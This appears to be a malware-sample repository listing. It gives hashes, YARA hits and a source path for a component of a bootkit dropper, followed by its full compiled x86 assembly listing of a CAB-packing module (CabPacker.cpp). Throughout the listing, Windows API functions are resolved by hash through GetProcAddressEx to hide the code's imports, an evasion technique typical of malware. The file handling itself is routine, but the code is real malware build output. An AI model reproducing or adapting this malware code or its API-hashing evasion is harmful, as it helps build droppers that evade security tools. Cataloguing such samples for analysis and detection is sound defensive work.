Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 50d87f6a7e9e1f94485b6219eafa3a3c --

Hashes
MD5: 50d87f6a7e9e1f94485b6219eafa3a3c
SHA1: 27023796fd904de2dab50aed54638df321e02332
SHA256: 53e134994082b33a63545fda7b307e81f0c5f14579fde7b90884cbf14e9484c8
SSDEEP: 384:uYw/IyN9uTmF3EPeAYNjqimNRcEGLLT7WdAKxjsit:u1lF3PmNeEGL37WdAKhsit
Details
File Type: BSD
Yara Hits
CuckooSandbox/embedded_win_api | YRP/domain | YRP/contentis_base64 |
Source
http://103.68.190.250/Sources//Advance/BJWJ/Builds/BootkitDropper/Objs/Release%20DEBUGCONFIG/CabPacker.asm
Strings
		; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 
	TITLE	e:\Projects\progs\Petrosjan\BJWJ\Source\Common\CabPacker.cpp
	.686P
	include listing.inc
	.model	flat
INCLUDELIB OLDNAMES
PUBLIC	??$pushargEx@$00$0IPIPBBE@PADKHHKHH@@YAPAXPADKHHKHH@Z ; pushargEx<1,150532372,char *,unsigned long,int,int,unsigned long,int,int>
PUBLIC	??$pushargEx@$00$0EIHPOBGL@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z ; pushargEx<1,1216340331,void *,void *,unsigned int,unsigned long *,int>
PUBLIC	??$pushargEx@$00$0PDPNBMD@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z ; pushargEx<1,255840707,void *,void *,unsigned int,unsigned long *,int>
PUBLIC	??$pushargEx@$00$0OPEIOADK@PAXJHH@@YAPAXPAXJHH@Z ; pushargEx<1,4014530618,void *,long,int,int>
PUBLIC	??$pushargEx@$00$0PBEJLMME@PAXPAU_BY_HANDLE_FILE_INFORMATION@@@@YAPAXPAXPAU_BY_HANDLE_FILE_INFORMATION@@@Z ; pushargEx<1,4048141508,void *,_BY_HANDLE_FILE_INFORMATION *>
PUBLIC	??$pushargEx@$00$0OFHJCOJE@PAU_FILETIME@@PAU1@@@YAPAXPAU_FILETIME@@0@Z ; pushargEx<1,3849924244,_FILETIME *,_FILETIME *>
PUBLIC	??$pushargEx@$00$0LGIOLOPI@PAU_FILETIME@@PAGPAG@@YAPAXPAU_FILETIME@@PAG1@Z ; pushargEx<1,3062808312,_FILETIME *,unsigned short *,unsigned short *>
PUBLIC	??$pushargEx@$00$0FIPOHKLO@HPAD@@YAPAXHPAD@Z	; pushargEx<1,1493072574,int,char *>
PUBLIC	??$pushargEx@$00$0PKEPFAC@PADPBDHPAD@@YAPAXPADPBDH0@Z ; pushargEx<1,262468866,char *,char const *,int,char *>
PUBLIC	??$pushargEx@$00$0CMKFPDGG@PADPBD@@YAPAXPADPBD@Z ; pushargEx<1,749073254,char *,char const *>
PUBLIC	??$pushargEx@$00$0CMKBLFOG@PADPBD@@YAPAXPADPBD@Z ; pushargEx<1,748795366,char *,char const *>
PUBLIC	??$pushargEx@$00$0DCEDCEEE@PADPAU_WIN32_FIND_DATAA@@@@YAPAXPADPAU_WIN32_FIND_DATAA@@@Z ; pushargEx<1,843260996,char *,_WIN32_FIND_DATAA *>
PUBLIC	??$pushargEx@$00$0CMKCLHOG@PADPBD@@YAPAXPADPBD@Z ; pushargEx<1,748861414,char *,char const *>
PUBLIC	??$pushargEx@$00$0CMKBLFOG@PADPAD@@YAPAXPAD0@Z	; pushargEx<1,748795366,char *,char *>
PUBLIC	??$pushargEx@$00$0CMKFPDGG@PADPAD@@YAPAXPAD0@Z	; pushargEx<1,749073254,char *,char *>
PUBLIC	??$pushargEx@$00$0CHJNOKNH@PAXPAU_WIN32_FIND_DATAA@@@@YAPAXPAXPAU_WIN32_FIND_DATAA@@@Z ; pushargEx<1,664660695,void *,_WIN32_FIND_DATAA *>
PUBLIC	??$pushargEx@$00$0HLEIECMB@PAX@@YAPAXPAX@Z	; pushargEx<1,2068333249,void *>
PUBLIC	??_C@_07BLINPCHP@CABINET?$AA@			; `string'
PUBLIC	??_C@_04FGAJMCLA@?2?$CK?4?$CK?$AA@		; `string'
PUBLIC	??_C@_01LFCBOECM@?4?$AA@			; `string'
PUBLIC	??_C@_02DJGKEECL@?4?4?$AA@			; `string'
;	COMDAT ??_C@_02DJGKEECL@?4?4?$AA@
CONST	SEGMENT
??_C@_02DJGKEECL@?4?4?$AA@ DB '..', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_01LFCBOECM@?4?$AA@
CONST	SEGMENT
??_C@_01LFCBOECM@?4?$AA@ DB '.', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_04FGAJMCLA@?2?$CK?4?$CK?$AA@
CONST	SEGMENT
??_C@_04FGAJMCLA@?2?$CK?4?$CK?$AA@ DB '\*.*', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_07BLINPCHP@CABINET?$AA@
CONST	SEGMENT
??_C@_07BLINPCHP@CABINET?$AA@ DB 'CABINET', 00H		; `string'
PUBLIC	?FN_FCIGETNEXTCABINET@@YAHPAUCCAB@@KPAX@Z	; FN_FCIGETNEXTCABINET
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIGETNEXTCABINET@@YAHPAUCCAB@@KPAX@Z
_TEXT	SEGMENT
_pccab$ = 8						; size = 4
_cbPrevCab$ = 12					; size = 4
_pv$ = 16						; size = 4
?FN_FCIGETNEXTCABINET@@YAHPAUCCAB@@KPAX@Z PROC		; FN_FCIGETNEXTCABINET, COMDAT
; File e:\projects\progs\petrosjan\bjwj\source\common\cabpacker.cpp
; Line 241
	xor	eax, eax
; Line 242
	ret	0
?FN_FCIGETNEXTCABINET@@YAHPAUCCAB@@KPAX@Z ENDP		; FN_FCIGETNEXTCABINET
_TEXT	ENDS
PUBLIC	?FN_FCIFILEPLACED@@YAHPAUCCAB@@PADJHPAX@Z	; FN_FCIFILEPLACED
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIFILEPLACED@@YAHPAUCCAB@@PADJHPAX@Z
_TEXT	SEGMENT
_pccab$ = 8						; size = 4
_pszFile$ = 12						; size = 4
_cbFile$ = 16						; size = 4
_fContinuation$ = 20					; size = 4
_pv$ = 24						; size = 4
?FN_FCIFILEPLACED@@YAHPAUCCAB@@PADJHPAX@Z PROC		; FN_FCIFILEPLACED, COMDAT
; Line 185
	xor	eax, eax
; Line 186
	ret	0
?FN_FCIFILEPLACED@@YAHPAUCCAB@@PADJHPAX@Z ENDP		; FN_FCIFILEPLACED
_TEXT	ENDS
PUBLIC	?FN_FCISTATUS@@YAJIKKPAX@Z			; FN_FCISTATUS
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCISTATUS@@YAJIKKPAX@Z
_TEXT	SEGMENT
_typeStatus$ = 8					; size = 4
_cb1$ = 12						; size = 4
_cb2$ = 16						; size = 4
_pv$ = 20						; size = 4
?FN_FCISTATUS@@YAJIKKPAX@Z PROC				; FN_FCISTATUS, COMDAT
; Line 180
	xor	eax, eax
; Line 181
	ret	0
?FN_FCISTATUS@@YAJIKKPAX@Z ENDP				; FN_FCISTATUS
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0HLEIECMB@PAX@@YAPAXPAX@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0HLEIECMB@PAX@@YAPAXPAX@Z PROC		; pushargEx<1,2068333249,void *>, COMDAT
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
; Line 85
	push	2068333249				; 7b4842c1H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 86
	push	DWORD PTR _a1$[esp-4]
	call	eax
; Line 87
	ret	0
??$pushargEx@$00$0HLEIECMB@PAX@@YAPAXPAX@Z ENDP		; pushargEx<1,2068333249,void *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0CHJNOKNH@PAXPAU_WIN32_FIND_DATAA@@@@YAPAXPAXPAU_WIN32_FIND_DATAA@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0CHJNOKNH@PAXPAU_WIN32_FIND_DATAA@@@@YAPAXPAXPAU_WIN32_FIND_DATAA@@@Z PROC ; pushargEx<1,664660695,void *,_WIN32_FIND_DATAA *>, COMDAT
; Line 93
	push	664660695				; 279dead7H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 94
	push	DWORD PTR _a2$[esp-4]
	push	DWORD PTR _a1$[esp]
	call	eax
; Line 95
	ret	0
??$pushargEx@$00$0CHJNOKNH@PAXPAU_WIN32_FIND_DATAA@@@@YAPAXPAXPAU_WIN32_FIND_DATAA@@@Z ENDP ; pushargEx<1,664660695,void *,_WIN32_FIND_DATAA *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0DCEDCEEE@PADPAU_WIN32_FIND_DATAA@@@@YAPAXPADPAU_WIN32_FIND_DATAA@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0DCEDCEEE@PADPAU_WIN32_FIND_DATAA@@@@YAPAXPADPAU_WIN32_FIND_DATAA@@@Z PROC ; pushargEx<1,843260996,char *,_WIN32_FIND_DATAA *>, COMDAT
; Line 93
	push	843260996				; 32432444H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 94
	push	DWORD PTR _a2$[esp-4]
	push	DWORD PTR _a1$[esp]
	call	eax
; Line 95
	ret	0
??$pushargEx@$00$0DCEDCEEE@PADPAU_WIN32_FIND_DATAA@@@@YAPAXPADPAU_WIN32_FIND_DATAA@@@Z ENDP ; pushargEx<1,843260996,char *,_WIN32_FIND_DATAA *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0PKEPFAC@PADPBDHPAD@@YAPAXPADPBDH0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a4$ = 12						; size = 4
??$pushargEx@$00$0PKEPFAC@PADPBDHPAD@@YAPAXPADPBDH0@Z PROC ; pushargEx<1,262468866,char *,char const *,int,char *>, COMDAT
; Line 109
	push	262468866				; 0fa4f502H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 110
	push	DWORD PTR _a4$[esp-4]
	push	0
	push	OFFSET ??_C@_07BLINPCHP@CABINET?$AA@
	push	DWORD PTR _a1$[esp+8]
	call	eax
; Line 111
	ret	0
??$pushargEx@$00$0PKEPFAC@PADPBDHPAD@@YAPAXPADPBDH0@Z ENDP ; pushargEx<1,262468866,char *,char const *,int,char *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0FIPOHKLO@HPAD@@YAPAXHPAD@Z
_TEXT	SEGMENT
_a2$ = 8						; size = 4
??$pushargEx@$00$0FIPOHKLO@HPAD@@YAPAXHPAD@Z PROC	; pushargEx<1,1493072574,int,char *>, COMDAT
; Line 93
	push	1493072574				; 58fe7abeH
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 94
	push	DWORD PTR _a2$[esp-4]
	push	260					; 00000104H
	call	eax
; Line 95
	ret	0
??$pushargEx@$00$0FIPOHKLO@HPAD@@YAPAXHPAD@Z ENDP	; pushargEx<1,1493072574,int,char *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0LGIOLOPI@PAU_FILETIME@@PAGPAG@@YAPAXPAU_FILETIME@@PAG1@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
??$pushargEx@$00$0LGIOLOPI@PAU_FILETIME@@PAGPAG@@YAPAXPAU_FILETIME@@PAG1@Z PROC ; pushargEx<1,3062808312,_FILETIME *,unsigned short *,unsigned short *>, COMDAT
; Line 101
	push	-1232158984				; b68ebef8H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 102
	push	DWORD PTR _a3$[esp-4]
	push	DWORD PTR _a2$[esp]
	push	DWORD PTR _a1$[esp+4]
	call	eax
; Line 103
	ret	0
??$pushargEx@$00$0LGIOLOPI@PAU_FILETIME@@PAGPAG@@YAPAXPAU_FILETIME@@PAG1@Z ENDP ; pushargEx<1,3062808312,_FILETIME *,unsigned short *,unsigned short *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0OFHJCOJE@PAU_FILETIME@@PAU1@@@YAPAXPAU_FILETIME@@0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0OFHJCOJE@PAU_FILETIME@@PAU1@@@YAPAXPAU_FILETIME@@0@Z PROC ; pushargEx<1,3849924244,_FILETIME *,_FILETIME *>, COMDAT
; Line 93
	push	-445043052				; e5792e94H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 94
	push	DWORD PTR _a2$[esp-4]
	push	DWORD PTR _a1$[esp]
	call	eax
; Line 95
	ret	0
??$pushargEx@$00$0OFHJCOJE@PAU_FILETIME@@PAU1@@@YAPAXPAU_FILETIME@@0@Z ENDP ; pushargEx<1,3849924244,_FILETIME *,_FILETIME *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0PBEJLMME@PAXPAU_BY_HANDLE_FILE_INFORMATION@@@@YAPAXPAXPAU_BY_HANDLE_FILE_INFORMATION@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0PBEJLMME@PAXPAU_BY_HANDLE_FILE_INFORMATION@@@@YAPAXPAXPAU_BY_HANDLE_FILE_INFORMATION@@@Z PROC ; pushargEx<1,4048141508,void *,_BY_HANDLE_FILE_INFORMATION *>, COMDAT
; Line 93
	push	-246825788				; f149bcc4H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 94
	push	DWORD PTR _a2$[esp-4]
	push	DWORD PTR _a1$[esp]
	call	eax
; Line 95
	ret	0
??$pushargEx@$00$0PBEJLMME@PAXPAU_BY_HANDLE_FILE_INFORMATION@@@@YAPAXPAXPAU_BY_HANDLE_FILE_INFORMATION@@@Z ENDP ; pushargEx<1,4048141508,void *,_BY_HANDLE_FILE_INFORMATION *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0OPEIOADK@PAXJHH@@YAPAXPAXJHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a4$ = 16						; size = 4
??$pushargEx@$00$0OPEIOADK@PAXJHH@@YAPAXPAXJHH@Z PROC	; pushargEx<1,4014530618,void *,long,int,int>, COMDAT
; Line 109
	push	-280436678				; ef48e03aH
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 110
	push	DWORD PTR _a4$[esp-4]
	push	0
	push	DWORD PTR _a2$[esp+4]
	push	DWORD PTR _a1$[esp+8]
	call	eax
; Line 111
	ret	0
??$pushargEx@$00$0OPEIOADK@PAXJHH@@YAPAXPAXJHH@Z ENDP	; pushargEx<1,4014530618,void *,long,int,int>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0PDPNBMD@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$00$0PDPNBMD@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z PROC ; pushargEx<1,255840707,void *,void *,unsigned int,unsigned long *,int>, COMDAT
; Line 117
	push	255840707				; 0f3fd1c3H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 118
	push	0
	push	DWORD PTR _a4$[esp]
	push	DWORD PTR _a3$[esp+4]
	push	DWORD PTR _a2$[esp+8]
	push	DWORD PTR _a1$[esp+12]
	call	eax
; Line 119
	ret	0
??$pushargEx@$00$0PDPNBMD@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z ENDP ; pushargEx<1,255840707,void *,void *,unsigned int,unsigned long *,int>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0EIHPOBGL@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$00$0EIHPOBGL@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z PROC ; pushargEx<1,1216340331,void *,void *,unsigned int,unsigned long *,int>, COMDAT
; Line 117
	push	1216340331				; 487fe16bH
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 118
	push	0
	push	DWORD PTR _a4$[esp]
	push	DWORD PTR _a3$[esp+4]
	push	DWORD PTR _a2$[esp+8]
	push	DWORD PTR _a1$[esp+12]
	call	eax
; Line 119
	ret	0
??$pushargEx@$00$0EIHPOBGL@PAXPAXIPAKH@@YAPAXPAX0IPAKH@Z ENDP ; pushargEx<1,1216340331,void *,void *,unsigned int,unsigned long *,int>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$pushargEx@$00$0IPIPBBE@PADKHHKHH@@YAPAXPADKHHKHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a5$ = 16						; size = 4
??$pushargEx@$00$0IPIPBBE@PADKHHKHH@@YAPAXPADKHHKHH@Z PROC ; pushargEx<1,150532372,char *,unsigned long,int,int,unsigned long,int,int>, COMDAT
; Line 133
	push	150532372				; 08f8f114H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
; Line 134
	push	0
	push	128					; 00000080H
	push	DWORD PTR _a5$[esp+4]
	push	0
	push	1
	push	DWORD PTR _a2$[esp+16]
	push	DWORD PTR _a1$[esp+20]
	call	eax
; Line 135
	ret	0
??$pushargEx@$00$0IPIPBBE@PADKHHKHH@@YAPAXPADKHHKHH@Z ENDP ; pushargEx<1,150532372,char *,unsigned long,int,int,unsigned long,int,int>
_TEXT	ENDS
PUBLIC	?FN_FCIGETTEMPFILE@@YAHPADHPAX@Z		; FN_FCIGETTEMPFILE
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIGETTEMPFILE@@YAHPADHPAX@Z
_TEXT	SEGMENT
_pszTempPath$ = -260					; size = 260
_pszTempName$ = 8					; size = 4
_cbTempName$ = 12					; size = 4
_pv$ = 16						; size = 4
?FN_FCIGETTEMPFILE@@YAHPADHPAX@Z PROC			; FN_FCIGETTEMPFILE, COMDAT
; File e:\projects\progs\petrosjan\bjwj\source\common\cabpacker.cpp
; Line 218
	push	ebp
	mov	ebp, esp
	sub	esp, 260				; 00000104H
	push	esi
; Line 225
	push	1493072574				; 58fe7abeH
	xor	esi, esi
	push	1
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	lea	ecx, DWORD PTR _pszTempPath$[ebp]
	push	ecx
	push	260					; 00000104H
	call	eax
	test	eax, eax
	je	SHORT $LN1@FN_FCIGETT
; Line 227
	push	262468866				; 0fa4f502H
	push	1
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	push	DWORD PTR _pszTempName$[ebp]
	lea	ecx, DWORD PTR _pszTempPath$[ebp]
	push	esi
	push	OFFSET ??_C@_07BLINPCHP@CABINET?$AA@
	push	ecx
	call	eax
	test	eax, eax
	je	SHORT $LN1@FN_FCIGETT
; Line 229
	inc	esi
$LN1@FN_FCIGETT:
; Line 233
	mov	eax, esi
	pop	esi
; Line 234
	leave
	ret	0
?FN_FCIGETTEMPFILE@@YAHPADHPAX@Z ENDP			; FN_FCIGETTEMPFILE
_TEXT	ENDS
PUBLIC	?FN_FCISEEK@@YAJHJHPAHPAX@Z			; FN_FCISEEK
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCISEEK@@YAJHJHPAHPAX@Z
_TEXT	SEGMENT
_hf$ = 8						; size = 4
_dist$ = 12						; size = 4
_seektype$ = 16						; size = 4
_err$ = 20						; size = 4
_pv$ = 24						; size = 4
?FN_FCISEEK@@YAJHJHPAHPAX@Z PROC			; FN_FCISEEK, COMDAT
; Line 151
	push	-280436678				; ef48e03aH
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	push	DWORD PTR _seektype$[esp-4]
	push	0
	push	DWORD PTR _dist$[esp+4]
	push	DWORD PTR _hf$[esp+8]
	call	eax
	mov	ecx, eax
; Line 153
	cmp	ecx, -1
	jne	SHORT $LN1@FN_FCISEEK
; Line 155
	call	?pGetLastError@@YAKXZ			; pGetLastError
	mov	edx, DWORD PTR _err$[esp-4]
	mov	DWORD PTR [edx], eax
$LN1@FN_FCISEEK:
; Line 158
	mov	eax, ecx
; Line 159
	ret	0
?FN_FCISEEK@@YAJHJHPAHPAX@Z ENDP			; FN_FCISEEK
_TEXT	ENDS
PUBLIC	?FN_FCIWRITE@@YAIHPAXIPAH0@Z			; FN_FCIWRITE
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIWRITE@@YAIHPAXIPAH0@Z
_TEXT	SEGMENT
_dwBytesWritten$ = -4					; size = 4
_hf$ = 8						; size = 4
_memory$ = 12						; size = 4
_cb$ = 16						; size = 4
_err$ = 20						; size = 4
_pv$ = 24						; size = 4
?FN_FCIWRITE@@YAIHPAXIPAH0@Z PROC			; FN_FCIWRITE, COMDAT
; Line 115
	push	ebp
	mov	ebp, esp
	push	ecx
; Line 116
	and	DWORD PTR _dwBytesWritten$[ebp], 0
; Line 120
	push	255840707				; 0f3fd1c3H
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	push	0
	lea	ecx, DWORD PTR _dwBytesWritten$[ebp]
	push	ecx
	push	DWORD PTR _cb$[ebp]
	push	DWORD PTR _memory$[ebp]
	push	DWORD PTR _hf$[ebp]
	call	eax
	test	eax, eax
	jne	SHORT $LN1@FN_FCIWRIT
; Line 122
	or	DWORD PTR _dwBytesWritten$[ebp], -1
; Line 123
	call	?pGetLastError@@YAKXZ			; pGetLastError
	mov	ecx, DWORD PTR _err$[ebp]
	mov	DWORD PTR [ecx], eax
$LN1@FN_FCIWRIT:
; Line 126
	mov	eax, DWORD PTR _dwBytesWritten$[ebp]
; Line 127
	leave
	ret	0
?FN_FCIWRITE@@YAIHPAXIPAH0@Z ENDP			; FN_FCIWRITE
_TEXT	ENDS
PUBLIC	?FN_FCIREAD@@YAIHPAXIPAH0@Z			; FN_FCIREAD
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIREAD@@YAIHPAXIPAH0@Z
_TEXT	SEGMENT
_dwBytesRead$ = -4					; size = 4
_hf$ = 8						; size = 4
_memory$ = 12						; size = 4
_cb$ = 16						; size = 4
_err$ = 20						; size = 4
_pv$ = 24						; size = 4
?FN_FCIREAD@@YAIHPAXIPAH0@Z PROC			; FN_FCIREAD, COMDAT
; Line 100
	push	ebp
	mov	ebp, esp
	push	ecx
; Line 101
	and	DWORD PTR _dwBytesRead$[ebp], 0
; Line 105
	push	1216340331				; 487fe16bH
	push	1
	push	0
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	push	0
	lea	ecx, DWORD PTR _dwBytesRead$[ebp]
	push	ecx
	push	DWORD PTR _cb$[ebp]
	push	DWORD PTR _memory$[ebp]
	push	DWORD PTR _hf$[ebp]
	call	eax
	test	eax, eax
	jne	SHORT $LN1@FN_FCIREAD
; Line 107
	or	DWORD PTR _dwBytesRead$[ebp], -1
; Line 108
	call	?pGetLastError@@YAKXZ			; pGetLastError
	mov	ecx, DWORD PTR _err$[ebp]
	mov	DWORD PTR [ecx], eax
$LN1@FN_FCIREAD:
; Line 111
	mov	eax, DWORD PTR _dwBytesRead$[ebp]
; Line 112
	leave
	ret	0
?FN_FCIREAD@@YAIHPAXIPAH0@Z ENDP			; FN_FCIREAD
_TEXT	ENDS
PUBLIC	?FN_FCIOPEN@@YAHPADHHPAHPAX@Z			; FN_FCIOPEN
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIOPEN@@YAHPADHHPAHPAX@Z
_TEXT	SEGMENT
_pszFile$ = 8						; size = 4
_dwCreationDisposition$ = 12				; size = 4
_oflag$ = 12						; size = 4
_pmode$ = 16						; size = 4
_err$ = 20						; size = 4
_pv$ = 24						; size = 4
?FN_FCIOPEN@@YAHPADHHPAHPAX@Z PROC			; FN_FCIOPEN, COMDAT
; Line 51
	push	ebp
	mov	ebp, esp
; Line 60
	mov	eax, DWORD PTR _oflag$[ebp]
	push	esi
	test	al, 2
	je	SHORT $LN7@FN_FCIOPEN
; Line 62
	mov	esi, -1073741824			; c0000000H
	jmp	SHORT $LN5@FN_FCIOPEN
$LN7@FN_FCIOPEN:
; Line 64
	mov	cl, al
	and	cl, 1
	movsx	esi, cl
	neg	esi
	sbb	esi, esi
	and	esi, -1073741824			; c0000000H
	add	esi, -2147483648			; 80000000H
$LN5@FN_FCIOPEN:
; Line 73
	shr	eax, 8
	not	eax
; Line 88
	push	150532372				; 08f8f114H
	and	eax, 1
	or	eax, 2
	push	1
	push	0
	mov	DWORD PTR _dwCreationDisposition$[ebp], eax
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	push	0
	push	128					; 00000080H
	push	DWORD PTR _dwCreationDisposition$[ebp]
	push	0
	push	1
	push	esi
	push	DWORD PTR _pszFile$[ebp]
	call	eax
	mov	ecx, eax
	pop	esi
; Line 90
	cmp	ecx, -1
	jne	SHORT $LN1@FN_FCIOPEN
; Line 92
	call	?pGetLastError@@YAKXZ			; pGetLastError
	mov	edx, DWORD PTR _err$[ebp]
	mov	DWORD PTR [edx], eax
$LN1@FN_FCIOPEN:
; Line 95
	mov	eax, ecx
; Line 96
	pop	ebp
	ret	0
?FN_FCIOPEN@@YAHPADHHPAHPAX@Z ENDP			; FN_FCIOPEN
PUBLIC	?FN_FCIDELETE@@YAHPADPAHPAX@Z			; FN_FCIDELETE
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIDELETE@@YAHPADPAHPAX@Z
_TEXT	SEGMENT
_pszFile$ = 8						; size = 4
_err$ = 12						; size = 4
_pv$ = 16						; size = 4
?FN_FCIDELETE@@YAHPADPAHPAX@Z PROC			; FN_FCIDELETE, COMDAT
; Line 163
	push	esi
; Line 168
	push	DWORD PTR _pszFile$[esp]
	xor	esi, esi
	call	??$pushargEx@$00$0IBPAPANP@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,char *>
	pop	ecx
	test	eax, eax
	jne	SHORT $LN1@FN_FCIDELE
; Line 170
	call	?pGetLastError@@YAKXZ			; pGetLastError
	mov	ecx, DWORD PTR _err$[esp]
	mov	DWORD PTR [ecx], eax
; Line 171
	or	esi, -1
$LN1@FN_FCIDELE:
; Line 174
	mov	eax, esi
	pop	esi
; Line 175
	ret	0
?FN_FCIDELETE@@YAHPADPAHPAX@Z ENDP			; FN_FCIDELETE
_TEXT	ENDS
PUBLIC	?FN_FCICLOSE@@YAHHPAHPAX@Z			; FN_FCICLOSE
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCICLOSE@@YAHHPAHPAX@Z
_TEXT	SEGMENT
_hf$ = 8						; size = 4
_err$ = 12						; size = 4
_pv$ = 16						; size = 4
?FN_FCICLOSE@@YAHHPAHPAX@Z PROC				; FN_FCICLOSE, COMDAT
; Line 131
	push	esi
; Line 136
	push	DWORD PTR _hf$[esp]
	xor	esi, esi
	call	??$pushargEx@$00$0HCDOLANF@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,void *>
	pop	ecx
	test	eax, eax
	jne	SHORT $LN1@FN_FCICLOS
; Line 138
	call	?pGetLastError@@YAKXZ			; pGetLastError
	mov	ecx, DWORD PTR _err$[esp]
	mov	DWORD PTR [ecx], eax
; Line 139
	or	esi, -1
$LN1@FN_FCICLOS:
; Line 142
	mov	eax, esi
	pop	esi
; Line 143
	ret	0
?FN_FCICLOSE@@YAHHPAHPAX@Z ENDP				; FN_FCICLOSE
_TEXT	ENDS
PUBLIC	?FN_FCIFREE@@YAXPAX@Z				; FN_FCIFREE
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIFREE@@YAXPAX@Z
_TEXT	SEGMENT
_lpMem$ = 8						; size = 4
?FN_FCIFREE@@YAXPAX@Z PROC				; FN_FCIFREE, COMDAT
; Line 44
	cmp	DWORD PTR _lpMem$[esp-4], 0
	je	SHORT $LN1@FN_FCIFREE
; Line 46
	jmp	?MemFree@@YAXPAX@Z			; MemFree
$LN1@FN_FCIFREE:
; Line 48
	ret	0
